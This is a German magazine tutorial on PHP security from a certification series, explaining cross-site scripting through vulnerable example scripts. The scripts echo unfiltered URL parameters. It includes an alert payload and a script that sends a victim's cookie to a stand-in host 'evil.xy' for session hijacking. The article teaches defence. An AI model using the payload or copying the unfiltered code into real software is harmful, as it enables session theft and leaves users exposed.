Zum Inhalt springen
Der Guide für ein smartes Leben.
So machen Sie PHP sicher...

PHP-Zertifizierung

Sicherheit wird in der Praxis leider oftmals nicht ernst genug genommen. Bei der PHP-Zertifizierung ist das anders. Der Artikel gibt Ihnen das nötige Wissen an die Hand.

Autoren: Redaktion pcmagazin und Tobias Hauser • 25.3.2009 • ca. 2:25 Min

PHP-Zertifizierung, Teil 9: Sicherheit
Sicherheit darf auch bei PHP nicht vernachlässigt werden.
© Archiv

Täglich gibt es im Web Meldungen über Sicherheitslücken. Allein die Telekom verliert Datensätze im Millionenbereich. In einer Webanwendung kommen die Lücken meist von Fehlern der Entwickler. Sie berücksichtigen dabei nicht die wichtigste Grundregel: Alle Eingaben von außen sind potenziell ...

Täglich gibt es im Web Meldungen über Sicherheitslücken. Allein die Telekom verliert Datensätze im Millionenbereich. In einer Webanwendung kommen die Lücken meist von Fehlern der Entwickler. Sie berücksichtigen dabei nicht die wichtigste Grundregel: Alle Eingaben von außen sind potenziell gefährlich.

Egal, ob die Daten per GET, POST, per Cookie oder per HTTP-Header kommen, sie können problematischen Code enthalten. Die Konsequenz ist klar: Sie müssen Eingaben filtern und validieren. Ausgaben müssen von HTML- und Javascript-Code befreit werden.

Das klingt einfach und ist es im Grunde auch. Das Problem liegt zum einen im Bewusstsein der Entwickler für das Problem, zum anderen in der Komplexität. Beispielsweise in mit Ajax aufgewerteten Anwendungen gibt es Unmengen an HTTP-Anfragen und jede kann schadhaften Code enthalten. Jeder einzelne Parameter muss gefiltert werden.

PHP-Zertifizierung, Teil 9: Sicherheit
Diese eingeschleusten horizontalen Linien sind nicht im Sinne des Entwicklers.
© Archiv

XSS - Cross Site Scripting

Ein Beispiel macht hier den Anfang. Sehen Sie sich folgenden Code an:

<?php
$ausgabe = isset($_GET
['parameter']) ? $_GET['parameter'] : 'Nicht gesetzt';
echo $ausgabe;
?>

Gibt es hier eine Sicherheitslücke? Zugegeben, eine rhetorische Frage. Bei nein müssten Sie wohl nicht weiterlesen. Dank dem konditionalen Operator ist das Ganze etwas verklausuliert. Sehen wir uns dasselbe Beispiel mit if an:

<?php
if (isset($_GET['parameter'])) {
echo $_GET['parameter'];
}
?>

Nun wird es klarer. Das Beispiel ist dasselbe. Entscheidend ist, dass etwas ausgegeben wird, ohne vorher gefiltert zu werden. In diesem Fall ist das ein URL-Parameter. Die Gefahr ist nun, dass ein Nutzer in dem URL-Parameter ungewünschten HTML-, CSS- oder Javascript-Code einfügen kann. PHP baut ihn dann direkt in die Seite ein und der Browser stellt ihn dar.Denken Sie zum Beispiel an ein paar <hr />-Tags im Parameter. Das sprengt schon jedes Layout.

HTML alleine ist allerdings noch nicht so gefährlich. Klar, der Angreifer könnte auch einen <style>-Block einfügen und das komplette CSS durcheinanderbringen. Und ein nicht geschlossenes Tag mit dem style-Attribut und display:none als Wert blendet alles danach Folgende aus. Aber das ist auch nur optisch und noch nicht wirklich schlimm.

Durch den Einsatz von Javascript beim Angriff wird das Ganze aber schnell wesentlich gefährlicher. Sie können Javascript entweder in HTML-Tags oder direkt als <script>-Block einfügen. Was das bewirken kann, zeigt das folgende Beispiel:

<?php
setcookie("meinCookie",
"Sitzungs-ID");
if (isset($_GET['parameter'])) {
echo $_GET['parameter'];
}
?>

Das PHP-Skript setzt ein Cookie. Dieser Vorgang hat mit der nachfolgenden Ausgabe eigentlich nichts zu tun. Aber wenn der Angreifer nun folgenden Code in den URL-Parameter schreibt, erhält er direkt das Cookie zurückgeliefert:

<script>alert(document.cookie)</script>

Zugegeben, auch das ist noch nicht hochgefährlich, da das Cookie ja nur dem Nutzer selbst angezeigt wird. Aber es geht auch problematischer. Denken Sie beispielsweise daran, dass der Nutzer ein unsichtbares Bild erzeugt und an die URL vom Bild den Inhalt des Cookies anhängt:

<script>(new Image()).src =
"https://evil.xy/?" + escape(document.cookie)</script>

Damit kann er direkt serverseitig die Cookie- Informationen auslesen. Steht dort beispielsweise die Session-ID, dann kann er die Sitzung einfach übernehmen. Mehr dazu später. Ein anderer Angriffspunkt sind Umleitungen beispielsweise mit dem entsprechenden <meta>-Tag. Damit lässt sich ein Nutzer auf eine Seite locken, die genauso aussieht wie das Original, aber die Bankdaten nicht ganz so zurückhaltend nutzt.